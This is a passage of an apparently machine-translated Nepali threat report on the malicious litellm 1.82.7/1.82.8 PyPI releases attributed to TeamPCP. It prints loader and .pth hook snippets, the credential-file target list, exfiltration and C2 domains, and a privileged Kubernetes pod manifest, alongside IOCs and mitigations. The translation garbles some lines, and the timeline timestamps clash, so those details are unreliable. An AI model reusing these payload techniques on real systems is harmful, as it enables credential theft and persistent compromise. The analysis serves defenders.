किन यो कुरा हो
मार्च २४, २०२६ मा, लोकप्रिय पाइथन प्याकेज लिटेल्म, हजारौं द्वारा प्रयोग गरिने एक विश्वव्यापी LLM प्रोक्सी गेटवे enterpriseओपनएआई, एन्थ्रोपिक, गुगल, र AWS बेडरोक जस्ता एप्लिकेसनहरू र एआई प्रदायकहरू बीच ट्राफिक रुट गर्ने s, PyPI मा चुपचाप सम्झौता गरिएको थियो। दुई विषाक्त संस्करणहरू (१.८२.७ र १.८२.८) एकअर्काको १३ मिनेट भित्र प्रकाशित भए, जसमा बहु-चरण पेलोड थियो जसले प्रमाणहरू चोरेको थियो, क्लाउड गोप्यहरू बाहिर निकालेको थियो, कुबर्नेट्स क्लस्टरहरूमा पार्श्व रूपमा फैलिएको थियो, र रिमोट कोड कार्यान्वयन क्षमताहरू सहितको एक स्थायी ब्याकडोर स्थापना गरिएको थियो।
लगभग संग दैनिक ३६ लाख डाउनलोडहरू क्लाउड-नेटिभ एआई पूर्वाधारमा गहिरो तैनाती र प्रयोग, लिटेल्म आधुनिक आक्रमणकारीहरूले चाहने सबै कुराको चौबाटोमा बस्छ: प्रत्येक प्रमुख एआई प्रदायकको लागि एपीआई कुञ्जीहरू, क्लाउड आईएएम प्रमाणहरू, कुबर्नेट्स गोप्य कुराहरू, र एसएसएच कुञ्जीहरू।
तर सानो सम्झौता कुनै पृथक घटना थिएन। यो एकको पराकाष्ठा थियो पाँच दिने, पाँच-पारिस्थितिक प्रणाली अभियान भनेर चिनिने धम्की दिने अभिनेता द्वारा टिमपीसीपी, एउटा अभियान जसले पहिले सुरक्षा स्क्यानरहरू (एक्वा ट्रिभी, चेकमार्क्स KICS) लाई विषाक्त बनायो, त्यसपछि चोरी गरिएको प्रयोग गर्यो CI/CD npm, OpenVSX, र अन्तमा PyPI मा प्रवाहित गर्न प्रमाणहरू। आक्रमणकारीहरूले ती उपकरणहरूलाई हतियार बनाए जुन संस्थाहरूले आफ्नो आपूर्ति शृङ्खलाहरू सुरक्षित गर्न भर पर्छन्।
यो आक्रमणले आपूर्ति श्रृंखला खतरा परिष्कारमा एक चरण परिवर्तनको प्रतिनिधित्व गर्दछ। बहु-हप, क्रस-इकोसिस्टम डिजाइन, उच्च-मूल्यमा पुग्न सुरक्षा उपकरणसँग सम्झौता गर्दै एआई पूर्वाधार, बढ्दो कमोडिटाइज्ड आक्रमण उपकरणसँग मिल्दो योजना र सञ्चालन परिपक्वताको स्तर प्रतिबिम्बित गर्दछ। पेलोडहरू वास्तविक समयमा दोहोरिएका थिए (तीन पेलोड भेरियन्टहरू स्रोत कोडमा देखा पर्दछन्, टिप्पणी गरिएको पहिलेका संस्करणहरू सहित), C2 पूर्वाधार आक्रमणको अघिल्लो दिन दर्ता गरिएको थियो, र वैध विक्रेता पूर्वाधारको नक्कल गर्न एक्सफिल्ट्रेसन डोमेनहरू सावधानीपूर्वक छनौट गरिएको थियो। कार्डानो साइनिङ कुञ्जीहरू र वायरगार्ड कन्फिगहरू जस्ता विशिष्ट लक्ष्यहरू सहित १५+ कोटीहरू समेट्ने व्यवस्थित रूपमा व्यापक क्रेडेन्सियल हार्वेस्टरले बल गुणकको रूपमा एआई-सहायता प्राप्त मालवेयर विकासतर्फ औंल्याउने थोरपुटको डिग्री सुझाव दिन्छ।
समय रेखा
| मिति (UTC) | घटना |
|---|---|
| मार्च 19 | TeamPCP ले Aqua Trivy GitHub Action ट्यागहरूलाई सम्झौता गर्छ, तिनीहरूलाई बाहिर निकाल्ने दुर्भावनापूर्ण कोडले प्रतिस्थापन गर्छ। CI/CD डाउनस्ट्रीम रिपोजिटरीहरूबाट गोप्य कुराहरू |
| मार्च 21 | सम्झौता समान प्रविधिहरू प्रयोग गरेर चेकमार्क्स KICS र AST GitHub कार्यहरूमा विस्तार हुन्छ। |
| मार्च २४, १०:५२ | BerriAI ले सामान्य मार्फत litellm 1.82.6 (अन्तिम सफा संस्करण) प्रकाशित गर्दछ CI/CD pipeline जसले सुरक्षा स्क्यानिङको लागि Trivy प्रयोग गर्दछ |
| मार्च 23 | TeamPCP ले models.litellm.cloud (एक्सफिल्ट्रेसन डोमेन) दर्ता गर्छ। ६६+ npm प्याकेजहरू र OpenVSX एक्सटेन्सनहरूसँग सम्झौता गर्छ। |
| मार्च २४, १०:५२ | litellm 1.82.7 PyPI मा प्रकाशित -- पेलोड इन्जेक्ट गरियो proxy_server.py मोड्युल स्कोपमा। आयातमा कार्यान्वयन हुन्छ |
| मार्च २४, १०:५२ | litellm १.८२.८ १३ मिनेट पछि प्रकाशित भयो -- थप्छ litellm_init.pth, एउटा पाइथन पथ कन्फिगरेसन हुक जसले प्रत्येक पाइथन इन्टरप्रिटर स्टार्टअपमा कार्यान्वयन गर्छ, केवल litellm आयातहरूमा मात्र होइन। द्रुत पेलोड पुनरावृत्ति देखाउँछ। |
| मार्च २४, ~१६:०० | समुदाय रिपोर्ट पछि PyPI ले दुबै संस्करणहरू हटाउँछ। संस्करणहरू अनुक्रमणिकाबाट पूर्ण रूपमा मेटाइएका छन् (याङ्क गरिएका छैनन्), यद्यपि CDN टार्बलहरू पहुँचयोग्य रहन्छन्। |
एक्सपोजर विन्डो: लगभग ५.५ घण्टा। यस समयमा, कुनै पनि pip install litellm, pip install --upgrade litellm, वा CI/CD pipeline पछिल्लो संस्करण तान्दा पेलोड कार्यान्वयन हुने थियो।
मालवेयर कसरी भित्रियो: क्यास्केडिङ सम्झौता
लिटेल्म प्याकेज सिधै उल्लङ्घन गरिएको थिएन। आक्रमणकारीले एउटा मार्फत त्यहाँ पुग्यो दुई-हप आपूर्ति श्रृंखला आक्रमण:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM को CI/CD pipeline ट्रिभीलाई सुरक्षा स्क्यानरको रूपमा प्रयोग गरियो — कमजोरीहरू समात्न डिजाइन गरिएको उपकरण आफैं आक्रमण भेक्टर थियो। किनभने pipeline पिन गरिएको भन्दा परिवर्तनीय ट्यागद्वारा ट्रिभीलाई सन्दर्भ गरिएको commit SHA, सम्झौता गरिएको कार्य स्वचालित रूपमा चल्यो। दुर्भावनापूर्ण ट्रिभी कार्यले वातावरणीय रहस्यहरू उजागर गर्यो, जसमा PYPI_PUBLISH टोकन, TeamPCP लाई litellm PyPI परियोजनामा प्रत्यक्ष प्रकाशन पहुँच प्रदान गर्दै।
यो "गार्डहरूसँग सम्झौता गर्नुहोस्" रणनीति TeamPCP अभियानको विशेषता हो। सुरक्षा उपकरणहरूलाई पहिले लक्षित गरेर (ट्रिभी, चेकमार्क्स KICS), आक्रमणकारीहरूले एकै साथ पत्ता लगाउन असक्षम पारे र डाउनस्ट्रीम आपूर्ति श्रृंखलाहरूमा विशेषाधिकार प्राप्त पहुँच प्राप्त गरे।
प्राविधिक विश्लेषण: पेलोड
इंजेक्शन पोइन्टहरू
संस्करण 1.82.7 — मोड्युल-स्तर कार्यान्वयनमा litellm/proxy/proxy_server.py (लाइन १२८):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) यो कोड शब्दकोश शाब्दिक र मूल बीचको मोड्युल स्कोपमा बस्छ। showwarning() प्रकार्य। यो तुरुन्तै कार्यान्वयन हुन्छ जब litellm.proxy.proxy_server आयात गरिएको छ — जुन litellm को प्रोक्सी कार्यक्षमताको कुनै पनि प्रयोगमा हुन्छ।
संस्करण 1.82.8 — थपियो litellm_init.pth (पाइथन पथ कन्फिगरेसन फाइल):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) अजगर .pth फाइलहरू site-packages/ प्रत्येक दोभाषे स्टार्टअपमा प्रशोधन गरिन्छ, तर केवल लाइनहरू बाट सुरु हुन्छ import कोडको रूपमा कार्यान्वयन गरिन्छ। आक्रमणकारीले सम्पूर्ण पेलोडलाई एकलमा बाँधेर यसको शोषण गर्दछ import बयान: import os, subprocess, sys; subprocess.Popen(...)। यो proxy_server.py इन्जेक्सन भन्दा धेरै आक्रामक छ — यो प्रत्येक पाइथन प्रक्रिया सुरुवातमा, litellm कहिल्यै आयात नगरिए पनि सक्रिय हुन्छ। pyproject.toml यो फाइललाई वितरणमा समावेश गर्न परिमार्जन गरिएको थियो:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] संस्करण १.८२.८ मा यसरी छ दुई स्वतन्त्र कार्यान्वयन मार्गहरू: proxy_server.py इन्जेक्सन (litellm प्रोक्सी आयातमा सक्रिय हुन्छ) र .pth फाइल (कुनै पनि पाइथन स्टार्टअपमा सक्रिय हुन्छ)। रिडन्डन्सी आफैंमा उल्लेखनीय छ - यसले कुनै पनि मार्गको पहिचान वा हटाउने विरुद्ध हेज गर्दछ। १.८२.७ पछि १३ मिनेटमा आयात-समयबाट स्टार्टअप-समय कार्यान्वयनमा वृद्धिले आक्रमणकारीले तैनाती सफलताको निगरानी गरिरहेको र द्रुत रूपमा दोहोरिने संकेत गर्दछ।
चरण १: व्यापक प्रमाणपत्र कटाई
डिकोड गरिएको भित्री लिपि एक सावधानीपूर्वक प्रमाणिकरण शून्य हो। यसले प्रयोग गर्दछ os.walk(), glob.glob(), subprocess.check_output(), र सम्पूर्ण प्रणाली स्वीप गर्न प्रत्यक्ष फाइल रिडहरू:
| श्रेणी | लक्ष्यहरू |
|---|---|
| प्रणाली पुन: प्राप्ति | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; होस्ट कुञ्जीहरू बाट /etc/ssh/ |
| क्लाउड (AWS) | ~/.aws/credentials, ~/.aws/config; IMDS भूमिका प्रमाणहरू मार्फत 169.254.169.254; गोप्य प्रबन्धक ListSecrets; एसएसएम DescribeParameters |
| क्लाउड (GCP) | ~/.config/gcloud/ (पुनरावृत्ति); $GOOGLE_APPLICATION_CREDENTIALS |
| बादल (नीलो) | ~/.azure/ (पुनरावृत्ति); वातावरण चरहरू |
| कुबर्नेट्स | सेवा खाता टोकनहरू; ca.crt; नेमस्पेस; kubectl get secrets --all-namespaces; K8s API मार्फत सबै गोप्य कुराहरू |
| वातावरण फाइलहरू | .env, .env.local, .env.production, .env.development, .env.staging — पुनरावर्ती रूपमा खोजी गरियो (गहिराई ६) /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| डकर | ~/.docker/config.json, /kaniko/.docker/config.json |
| प्याकेज टोकनहरू | ~/.npmrc, ~/.vault-token, ~/.netrc |
| डेटाबेस | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB कन्फिगरेसनहरू |
| TLS / SSL | बाट निजी कुञ्जीहरू /etc/ssl/private/, सबै प्रमाणपत्रहरू इन्क्रिप्ट गरौं .pem/.key/.p12/.pfx फाइलहरू |
| Git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| क्रिप्टो वालेटहरू | बिटक्वाइन, इथरियम किस्टोर, सोलाना किपेयरहरू (प्रमाणीकरणकर्ता, भोट, हिस्सेदारी, नल), कार्डानो साइनिङ कुञ्जीहरू, लाइटक्वाइन, डोगेकोइन, जेडक्यास, ड्यास, रिपल, मोनेरो |
| शेल इतिहास | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| प्रणाली प्रमाणीकरण | /etc/passwd, /etc/shadow, प्रमाणीकरण लगहरू (स्वीकृत SSH सत्रहरू) |
| वेबहुक/एपीआई कुञ्जीहरू | स्ल्याक वेबको लागि ग्रिपhooks, डिस्कर्ड वेबhooks, कन्फिग फाइलहरूमा API कुञ्जीहरू/गोप्यहरू |
| VPN | बाट वायरगार्ड कन्फिगरेसनहरू /etc/wireguard/ |
यस हार्वेस्टरको कार्यक्षेत्र विश्वकोशीय छ। यसले क्लाउड क्रेडेन्शियलहरू मात्र होइन तर क्रिप्टोकरेन्सी वालेटहरू, डाटाबेस पासवर्डहरू, VPN कन्फिगरेसनहरू, र CI/CD गोप्य कुराहरू - आक्रमणकारीले धेरै भेक्टरहरूमा सम्झौता गरिएका प्रणालीहरू मुद्रीकरण गर्ने उद्देश्य राखेको सुझाव दिन्छ।
स्टेज २: एन्क्रिप्टेड एक्सफिल्ट्रेसन
चोरी गरिएको डेटा हाइब्रिड इन्क्रिप्शन योजना प्रयोग गरेर इन्क्रिप्ट र एक्सफिल्टर गरिन्छ:
- AES-256-CBC अनियमित ३२-बाइट सत्र कुञ्जी (मार्फत) प्रयोग गरी सबै सङ्कलन गरिएको डेटाको इन्क्रिप्शन
openssl enc) - RSA-4096 को लागि सोधपुछ पेश गर्नुहोस्, हामी तपाईंलाई 24 घण्टामा सम्पर्क गर्नेछौं। आक्रमणकारीको एम्बेडेड सार्वजनिक कुञ्जी प्रयोग गरेर सत्र कुञ्जीको इन्क्रिप्शन (OAEP प्याडिङ, मार्फत
openssl pkeyutl) - दुवै सिफरटेक्स्ट फाइलहरू यस रूपमा बन्डल गरिएका छन्
tpcp.tar.gz(कोtpcpउपसर्ग — “TeamPCP” — अभियानभरि निरन्तर देखिन्छ) - HTTPS पोस्ट गर्नुहोस्
https://models.litellm.cloud/संगContent-Type: application/octet-stream
डोमेन models.litellm.cloud आक्रमण हुनुभन्दा एक दिन अगाडि मार्च २३ मा दर्ता गरिएको थियो र यसलाई वैध लिटेल्म पूर्वाधारसँग मिसाउन डिजाइन गरिएको छ (वास्तविक परियोजनाले प्रयोग गर्दछ litellm.ai)। इग्रेस ट्राफिकको समीक्षा गर्ने नेटवर्क-सचेत डिफेन्डरले पनि लिटेल्मको आफ्नै मोडेल एन्डपोइन्ट जस्तो देखिने ठाउँमा ट्राफिकलाई फ्ल्याग नगर्न सक्छ।
चरण ३: निरन्तर पछाडिको ढोका (sysmon.py)
पेलोडले प्रणाली टेलिमेट्रीको भेषमा मतदान ब्याकडोर स्थापना गर्दछ:
- मार्ग:
~/.config/sysmon/sysmon.py - सेवा:
sysmon.service(systemd प्रयोगकर्ता एकाइ, "सिस्टम टेलिमेट्री सेवा" को रूपमा वर्णन गरिएको) - व्यवहार: प्रारम्भिक ३००-सेकेन्डको निद्रा पछि, सर्वेक्षणहरू
https://checkmarx.zone/rawप्रत्येक ~५० मिनेटमा - कार्यान्वयन: C2 द्वारा फिर्ता गरिएको URL यहाँ डाउनलोड गर्दछ
/tmp/pglog, यसलाई कार्यान्वयनयोग्य सेट गर्दछ (chmod 755), यसलाई छुट्टै सत्रमा चलाउँछ - राज्य ट्र्याकिङ:
/tmp/.pg_stateउही पेलोड पुन: डाउनलोड गर्नबाट रोक्छ - दृढता:
Restart=always,RestartSec=10— दुर्घटनाहरूबाट बच्छ र रिबुट हुन्छ
डोमेन checkmarx.zone चेकमार्क्सको टाइपोस्क्वाट हो (सुरक्षा कम्पनीमा checkmarx.com), नेटवर्क लगहरूको समीक्षा गर्ने SOC विश्लेषकहरूले वैध सुरक्षा विक्रेता जस्तो देखिने ट्राफिक देख्न सकून् भनेर डिजाइन गरिएको हो। यो सुरक्षा विक्रेता ब्रान्डिङ पछाडि लुक्ने TeamPCP को फराकिलो रणनीतिसँग मेल खाने जानाजानी छल्ने प्रविधि हो।
चरण ३ख: कुबर्नेट्सको पार्श्व आन्दोलन
यदि सम्झौता गरिएको प्रणालीमा Kubernetes सेवा खाता प्रमाणहरू छन् भने, मालवेयरले सबै क्लस्टर नोडहरू गणना गर्दछ र तैनाथ गर्दछ विशेषाधिकार प्राप्त पोडहरू प्रत्येकलाई:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } प्रत्येक पोड:
- को रूपमा चल्छ विशेषाधिकार प्राप्त संग
hostPID,hostNetwork, र पूर्ण होस्ट फाइल प्रणाली पहुँच - उपयोगहरु
chroot /hostउही स्थापना गर्नsysmon.pyहोस्टको रूट फाइल प्रणालीमा ब्याकडोर - पोड मेटाउँदा पनि स्थिरता कायम रहन्छ भनी सुनिश्चित गर्दै, यसलाई systemd सेवाको रूपमा दर्ता गर्छ।
- नाम
node-setup-*माkube-systemवैध क्लस्टर पूर्वाधारको रूपमा देखा पर्ने नेमस्पेस
यसको अर्थ ए एकल सम्झौता CI/CD K8s पहुँच भएको रनरले क्लस्टरको प्रत्येक नोडलाई ब्याकडोर गर्न सक्छ — कुबर्नेट्समा litellm लाई प्रोक्सीको रूपमा चलाउने संस्थाहरूको लागि एक विनाशकारी पार्श्व आन्दोलन परिदृश्य।
पेलोड इभोलुसन (टिप्पणी गरिएका भेरियन्टहरू)
लाइन १३१-१३२ मा रहेको स्रोत कोडमा दुई टिप्पणी गरिएका पहिलेका पेलोड भेरियन्टहरू छन्, जसले आक्रमणकारीको विकास प्रक्रियालाई प्रकट गर्दछ:
- तीनै भेरियन्टहरू एउटै एक्सफिल्ट्रेसन पूर्वाधार साझा गर्नुहोस् (
models.litellm.cloud), RSA-4096 सार्वजनिक कुञ्जी, AES-256-CBC + RSA हाइब्रिड इन्क्रिप्शन र्यापर, रtpcp.tar.gzबन्डल नामकरण - पहिलेका भेरियन्टहरू थपियो RC4 इन्क्रिप्शन तह डेटा सङ्कलन स्क्रिप्ट भित्र, बाहिरी AES+RSA र्यापर अघि सङ्कलन गरिएको डेटा इन्क्रिप्ट गर्दै। यो भित्री RC4 तह हटाएर सक्रिय पेलोड (लाइन १३०) लाई सरलीकृत गरिएको छ।
- पहिलेका भेरियन्टहरूले प्रयोग गर्छन्
exec()संगStringIOसक्रिय पेलोड प्रयोग गर्दा, कलेक्टरलाई प्रक्रियामा चलाउन क्याप्चर गर्नुहोस्subprocess.run()stdout रिडिरेक्टको साथ — होस्ट प्रक्रियालाई प्रदूषित हुनबाट जोगाउने सफा पृथकीकरण - तीनवटै भेरियन्टहरूले एउटै प्रमाणपत्र कोटीहरू र सङ्कलन मार्गहरूलाई लक्षित गर्छन्।
- पहिलेका भेरियन्टहरूमा RC4 कुञ्जी उत्तेजक स्लर थियो, जुन टेलिग्राममा अभिनेताको ध्यान खिच्ने व्यवहारसँग मेल खान्छ।
यसले सञ्चालनको क्रममा सक्रिय विकासलाई प्रकट गर्दछ। आक्रमणकारीले एन्क्रिप्शन स्ट्याकलाई सरलीकृत गर्यो र सङ्कलन लक्ष्यहरू र एक्सफिल्ट्रेसन पूर्वाधारलाई स्थिर राख्दै कार्यान्वयन आइसोलेसनमा सुधार गर्यो।
सम्झौताका सूचकहरू (IOCs)
नेटवर्क
| सूचक | प्रकार | उद्देश्य |
|---|---|---|
models.litellm.cloud | डोमेन | Exfiltration endpoint (HTTPS POST) |
checkmarx.zone | डोमेन | C2 मतदान अन्त्यबिन्दु (HTTPS GET) /raw) |
नोट: बाह्य रिपोर्टिङ लिङ्कहरू checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP अभियानको पहिलेको KICS चरणमा। यो URL यहाँ विश्लेषण गरिएका litellm पेलोडहरूमा फेला परेन।
प्याकेज ह्यासहरू
| फाइल | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
फाइल प्रणाली
| सूचक | प्रकार | उद्देश्य |
|---|---|---|
~/.config/sysmon/sysmon.py | फाइल | निरन्तर ब्याकडोर लिपि |
~/.config/systemd/user/sysmon.service | फाइल | प्रणालीगत पर्सिस्टन्स युनिट |
/tmp/pglog | फाइल | दोस्रो-चरण बाइनरी डाउनलोड गरियो |
/tmp/.pg_state | फाइल | C2 अवस्था ट्र्याकिङ |
litellm_init.pth in site-packages/ | फाइल | पाइथन स्टार्टअप हुक (v1.82.8 मात्र) |
tpcp.tar.gz | फाइल | इन्क्रिप्टेड एक्सफिल्ट्रेसन बन्डल |
कुबर्नेट्स
| सूचक | प्रकार | उद्देश्य |
|---|---|---|
node-setup-* पोड इन kube-system | पोड | विशेषाधिकार प्राप्त पार्श्व मुभमेन्ट पोडहरू |
sysmon.service क्लस्टर नोडहरूमा | सेवा | पोड एस्केप मार्फत होस्ट-स्तरको पर्सिस्टन्स |
क्रिप्टोग्राफिक
| सूचक | विवरण |
|---|---|
| आक्रमणकारी RSA-4096 सार्वजनिक कुञ्जी | SHA256 फिंगरप्रिन्ट: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8। तीनवटै पेलोड भेरियन्टहरूमा इम्बेड गरिएको; अन्य TeamPCP अपरेशनहरूमा उही कुञ्जी रिपोर्ट गरिएको |
tpcp कलाकृतिहरूमा उपसर्ग | बन्डल नामकरण कन्भेन्सन (tpcp.tar.gz) अभियानभरि एकरूप |
विशेषता: TeamPCP
यस अभियानको पछाडि धम्की दिने व्यक्तिलाई निम्न रूपमा ट्र्याक गरिएको छ: टिमपीसीपी, जसलाई PCPcat, Persy_PCP, ShellForce, र DeadCatx3 पनि भनिन्छ।
ज्ञात विशेषताहरू:
- मा टेलिग्राम च्यानलहरू राख्छ
@Persy_PCPर@teampcpजहाँ उनीहरूले सुरक्षा कम्पनीहरूलाई गिल्ला गरे - धेरै इकोसिस्टमहरूमा सञ्चालन हुन्छ (GitHub Actions, PyPI, npm, OpenVSX)
- अभियानको प्रत्येक चरणको लागि विक्रेता-विशिष्ट टाइपोस्क्वाट डोमेनहरू प्रयोग गर्दछ (जस्तै,
checkmarx.zoneचेकमार्क्सको लागि,models.litellm.cloud(थोरैको लागि) - एकरूप पूर्वाधार मार्करहरू: उही RSA कुञ्जी जोडी,
tpcp.tar.gzनामकरण परम्परा,tpcp-docs-*डेड-ड्रप स्टेजिङको रूपमा प्रयोग गरिने GitHub भण्डारहरू - डाउनस्ट्रीम आपूर्ति श्रृंखलाहरूमा प्रवेश बिन्दुको रूपमा सुरक्षा उपकरणहरूलाई लक्षित गर्दछ
एट्रिब्युसन विश्वास: उच्च। साझा RSA सार्वजनिक कुञ्जी, tpcp पाँच दिने अभियानमा कलाकृतिको नामकरण, C2 पूर्वाधार ओभरल्याप, र सञ्चालन गतिले Trivy, KICS, npm, OpenVSX, र litellm सम्झौताहरूलाई एउटै अभिनेतासँग जोड्दछ।
प्रेरणा: सम्भावित वित्तीय (क्रिप्टो वालेट चोरी, क्लाउड क्रेडेन्सियल मुद्रीकरण) कुख्यातता (टेलिग्रामको मजाक) सँग मिलेर। क्रेडेन्सियल कटाईको चौडाइ - AWS IAM देखि सोलाना वैलिडेटर किपेयरहरू देखि वायरगार्ड कन्फिगरेसनहरू सम्म - प्रत्येक सम्झौताबाट ROI अधिकतम गर्न खोज्ने आर्थिक रूपमा प्रेरित अभिनेतालाई सुझाव दिन्छ।
सम्भावित एआई सहयोग: क्रेडेन्सियल हार्वेस्टर व्यवस्थित रूपमा व्यापक छ - कार्डानो साइनिङ कुञ्जीहरू, वायरगार्ड कन्फिगहरू, र कानिको डकर क्रेडेन्सियलहरू जस्ता विशिष्ट लक्ष्यहरू सहित १५+ कोटीहरू - एआई-सहायता प्राप्त गणनासँग मिल्दोजुल्दो तरिकाले। पेलोड पुनरावृत्तिको गति (भिन्न इन्क्रिप्शन योजनाहरू सहित तीन भेरियन्टहरू), क्रस-इकोसिस्टम समन्वय (५ दिनमा ५ इकोसिस्टमहरू), र परिचालन OPSEC (विक्रेता-प्रतिरूपण डोमेनहरू, हाइब्रिड इन्क्रिप्शन, टेलिमेट्रीको रूपमा प्रच्छन्न प्रणालीगत दृढता) ले थ्रुपुटको स्तरलाई सुझाव दिन्छ जसले एआई-सहायता प्राप्त विकासलाई बल गुणकको रूपमा प्रतिबिम्बित गर्न सक्छ। यो मूल्याङ्कन अनुमानात्मक छ; कुशल अपरेटरहरूले एआई टूलिङ बिना समान दायरा प्राप्त गर्न सक्छन्।
नयाँ TTP र प्रविधिहरू
१. सुरक्षा उपकरण आपूर्ति श्रृंखला विषाक्तता (T1195.002 संस्करण)
डाउनस्ट्रीम लक्ष्यहरूमा पुग्नको लागि पहिलो-हपको रूपमा सुरक्षा स्क्यानरहरू (ट्रिभी, KICS) लाई सम्झौता गर्नु एउटा नयाँ वृद्धि हो। आक्रमणकारीले केवल एउटा पुस्तकालयलाई सम्झौता गरेनन् - तिनीहरूले संगठनहरूले प्रयोग गर्ने उपकरणहरूलाई सम्झौता गरे। पत्ता लगाउन सम्झौता गरिएका पुस्तकालयहरू। यसले एउटा अन्धो ठाउँ सिर्जना गर्छ: दुर्भावनापूर्ण कोड समात्ने स्क्यानर आफैं डेलिभरी संयन्त्र हो।
2। पाइजोन .pth फाइल पर्सिस्टन्स (T1546)
यो litellm_init.pth v1.82.8 मा भएको प्रविधि विशेष गरी कपटी छ। पाइथन .pth फाइलहरू site-packages/ प्रत्येक दोभाषे स्टार्टअपमा प्रशोधन गरिन्छ; बाट सुरु हुने कुनै पनि लाइन import कोडको रूपमा कार्यान्वयन गरिन्छ। पेलोडलाई एकलमा चेन गरेर import कथन अनुसार, आक्रमणकारीले प्रत्येक पाइथन प्रक्रियामा कार्यान्वयन प्राप्त गर्दछ - लिटेल्म आयात गर्दा मात्र होइन। यसको अर्थ लिटेल्म स्थापना गरिएको तर कहिल्यै प्रयोग नगरिएको अवस्थामा पनि पेलोड फायर हुन्छ, र यो सम्झौता गरिएकोलाई प्रतिस्थापन गर्ने उपचारमा जीवित रहन्छ। .py जाँच नगरी फाइलहरू .pth फाइलहरू।
३. विशेषाधिकार प्राप्त पोड डिप्लोयमेन्ट (T1610, T1611) मार्फत कुबर्नेट्स क्लस्टर-वाइड पार्श्व आन्दोलन
प्रत्येक क्लस्टर नोडमा विशेषाधिकार प्राप्त पोडहरूको स्वचालित सिर्जना — सँग hostPID, hostNetwork, होस्ट फाइलसिस्टम माउन्ट, र chroot पर्सिस्टन्स स्थापना गर्न — कन्टेनर डिप्लोयमेन्ट (T1610) लाई एस्केप टु होस्ट (T1611) सँग जोडेर एकल सम्झौता गरिएको कार्यभारलाई पूर्ण क्लस्टर सम्झौतामा परिणत गर्दछ।
४. विक्रेता-प्रतिरूपण C2 पूर्वाधार
प्रयोग models.litellm.cloud (नक्कल गर्दै लिटेल्म) र checkmarx.zone (चेकमार्क्सको नक्कल गर्दछ) C2/exfil अन्त्य बिन्दुहरूको रूपमा नेटवर्क अनुगमनबाट बच्न डिजाइन गरिएको हो। इग्रेस ट्राफिकको समीक्षा गर्ने SOC विश्लेषकहरूले वैध विक्रेता डोमेनहरू जस्तो देखिने HTTPS जडानहरू देख्नेछन्।
५. द्रुत इन-फ्लाइट पेलोड पुनरावृत्ति
आयात-समय कार्यान्वयनको साथ v1.82.7 प्रकाशन गर्दै, त्यसपछि १३ मिनेट पछि स्टार्टअप-समय कार्यान्वयनको साथ v1.82.8, वास्तविक समयमा आक्रमणकारीको निगरानी र अनुकूलन देखाउँछ। स्रोत कोडमा संरक्षित टिप्पणी-आउट पेलोड भेरियन्टहरू (विभिन्न एन्क्रिप्शन योजनाहरू सहित) ले सञ्चालनको क्रममा सक्रिय विकास पुष्टि गर्दछ।
के गर्न सकिन्छ
यो आक्रमणले हरेक तहमा विश्वासको शोषण गर्छ: सुरक्षा उपकरणहरूमा विश्वास, प्याकेज रजिस्ट्रीहरूमा विश्वास, परिचित देखिने डोमेनहरूमा विश्वास, CI/CD स्वचालन। यसको विरुद्धमा रक्षा गर्न यी प्रत्येक विश्वास सीमाहरूलाई कडा बनाउनु आवश्यक छ:
प्याकेज उपभोक्ताहरूको लागि
- संस्करण मात्र होइन, ह्यासद्वारा पिन निर्भरताहरू।
pip install litellm==1.82.6 --hash=sha256:...सम्झौता गरिएका संस्करणहरू छोटकरीमा पछिल्लो संस्करणको रूपमा देखा परे पनि स्थापना हुनबाट रोक्ने थियो। - लकफाइलहरू प्रयोग गर्नुहोस्।
pip-compile,poetry.lock, रuv.lockसटीक संस्करणहरू र ह्यासहरू खिच्नुहोस्। CI/CD लकफाइलहरूबाट स्थापना गर्नुपर्छ, फ्लोटिंग संस्करण निर्दिष्टकर्ताहरूबाट होइन। - को लागी मोनिटर
.pthफाइलहरू। नियमित रूपमा लेखापरीक्षण गर्नुहोस्site-packages/अप्रत्याशित लागि.pthफाइलहरू — तिनीहरू प्रत्येक पाइथन स्टार्टअपमा कार्यान्वयन हुन्छन् र एक कम मूल्याङ्कन गरिएको दृढता संयन्त्र हुन्। - निकास नेटवर्क नियन्त्रणहरू लागू गर्नुहोस्। बाहिर निकाल्ने प्रक्रिया
models.litellm.cloudर C2 मतदानcheckmarx.zoneउत्पादन वातावरणमा अनुमति-आधारित निकास फिल्टरिङ द्वारा समातिएको हुन सक्छ।
प्याकेज मर्मतकर्ताहरूको लागि
- पिन CI/CD द्वारा कार्यहरू commit SHA, ट्याग होइन। LiteLLM को pipeline पिन गरिएको संस्करण बिना नै ट्रिभी प्रयोग गर्यो। यदि यसले सन्दर्भ गरेको भए
